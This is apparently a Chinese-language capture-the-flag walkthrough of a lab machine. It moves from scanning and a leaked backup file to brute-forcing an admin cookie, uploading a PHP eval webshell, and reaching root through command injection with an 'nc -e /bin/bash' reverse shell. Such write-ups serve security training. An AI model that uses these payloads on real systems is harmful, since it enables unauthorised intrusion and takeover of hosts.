先进行arp扫描:

获得渗透靶机的IP:192.168.13.142
扫描一下靶机的使用的端口:

具有tcp端口和http服务的80端口
可以扫描一下80端口的http服务:

可以发现一个网站:http://192.168.13.142
打开该网址:

查看一下源代码:

没有什么可以看的东西
那就尝试一下进行网站域名的扫描:

可以看到:
[18:20:09] 200 - 0B - /ajax.php
[18:20:13] 200 - 513B - /dashboard.html
[18:20:16] 200 - 1KB - /index.html
[18:20:16] 200 - 930B - /js/
[18:20:18] 200 - 626B - /manual/index.html
这几个存在内容:
尝试查看js的域名:

js下存在一串js代码(进行解释):
function uploadFile() {
//获得文件:
var files = document.getElementById("file").files;
if(files.length > 0 ){
//用于创建表单数据对象
var formData = new FormData();
formData.append("file", files[0]);
//formData.append() 是 FormData 对象提供的方法,用于向表单数据对象中添加字段和值
var xhttp = new XMLHttpRequest();
//XMLHttpRequest 对象提供了在客户端通过 HTTP 协议与服务器进行交互的功能
// Set POST method and ajax file path
xhttp.open("POST", "ajax.php", true);
//使用 open() 方法设置请求的类型为 POST,URL 为 "ajax.php",并指定使用异步方式发送请求(第三个参数为 true)
//异步方式意味着 JavaScript 在发送请求后会立即继续执行后续的代码,而不必等待服务器响应
// call on request changes state
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var response = this.responseText;
if(response == 1){
alert("Upload successfully.");
}else{
alert("File not uploaded.");
}
}
};
// Send request with data
xhttp.send(formData);
}else{
alert("Please select a file");
}
}
简单来说就是,存在文件上传,上传的文件会添加到表单文件中 而且要想上传文件后就需要进行这串代码的过滤
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var response = this.responseText;
if(response == 1){
alert("Upload successfully.");
}else{
alert("File not uploaded.");
}
}
}
当http请求返回为1时可以上传文件,这样就可以上传一个木马来获得权限
其中http请求来自ajax.php的请求,那么就存在ajax.php和文件上传点:
找到文件上传点:
/dashboard.html

可以尝试上传一个php试试看:

不能上传
那就可以看一下ajax.php的内容:

没有东西,尴尬了
看来是没有显示,查看资料后获得,存在备份文件:
http://192.168.13.142/ajax.php.bak
获得备份文件:

打开看看:
获得文件内容:

//The boss told me to add one more Upper Case letter at the end of the cookie
//老板让我在饼干的末尾再添加一个大写字母
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){
//[+] Add if $_POST['secure'] == 'val1d'
$valid_ext = array("pdf","php","txt");
}
else{
$valid_ext = array("txt");
}
// Remember success upload returns 1
//记住成功上传返回 1
可以看到需要一个cookie :名为admin 值为:&G6u@B6uDXMq&Ms+大写字母
然后还需要获得一个post传参的secure其值为valu1d
可以尝试获得一个爆破的密码本:
使用 crunch来自己创建一个密码本:
crunch 11 -t ,>>pass.txt


现在就可以抓住文件上传的网页:

上传上我们需要的条件:

将其发送到爆破:在cookie的地方添加一个爆破点:
Cookie: admin=%26G6u%40B6uDXMq%26Ms§A§
添加爆破字典,然后开始爆破:

文件包的大小差不多需要一个一个的看:

看到反应包R的返回了1,所以,当为R是就可以上传一个php文件:

将这个包返回:
php文件内容为一句话木马:
<?php @eval($_POST['cmd']); ?>
上传成功:

在owls下存在我们上传的文件:

打开蚁剑:

进行连接

连接成功:
开启一个终端进行监听:

然后进行shell交互:
python -c "import pty;pty.spawn('/bin/bash')"

交互成功:查看权限:

不是root的用户:
找到home下有一个用户而且还有用户的密码:

可以看到用户:athena和密码:myvulnerableapp[Asterisk]
因为还有ssh的没有使用,尝试登录:ssh

what?密码错了吗?
查看别人的资料发现:
密码后面的[Asterisk]而是一个*
再次尝试一下:

登陆上去了
查看一下当前用户具有的权限sudo -l

发现:/usr/bin/python3 /home/team-tasks/cookie-gen.py这个py脚本具有root脚本:
cat一下这个脚本:
import random
import os
import subprocess
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
seed = input("Enter the seed : ")
random.seed = seed
cookie = ''
for c in range(20):
cookie += random.choice(chars)
print(cookie)
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)
分析一下:
import random
import os
import subprocess
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
seed = input("Enter the seed : ")
#输入一个那种子(就是一串字符)
random.seed = seed
#没什么用
cookie = ''
for c in range(20):
cookie += random.choice(chars)
print(cookie)
cmd = "echo %s >> log.txt " % seed
#将seed的结果输入到log.txt中
subprocess.Popen(cmd, shell=True)#然后将cmd中的命令当作shell脚本执行
所以只需要上传一个监听代码就可以进行对靶机的监听,而且还获得了root权限:所以运行该脚本,并输入;nc -e /bin/bash 192.168.13.138 6666
开启一个新的终端:

监听成功:进行交互,交互成功后获得root权限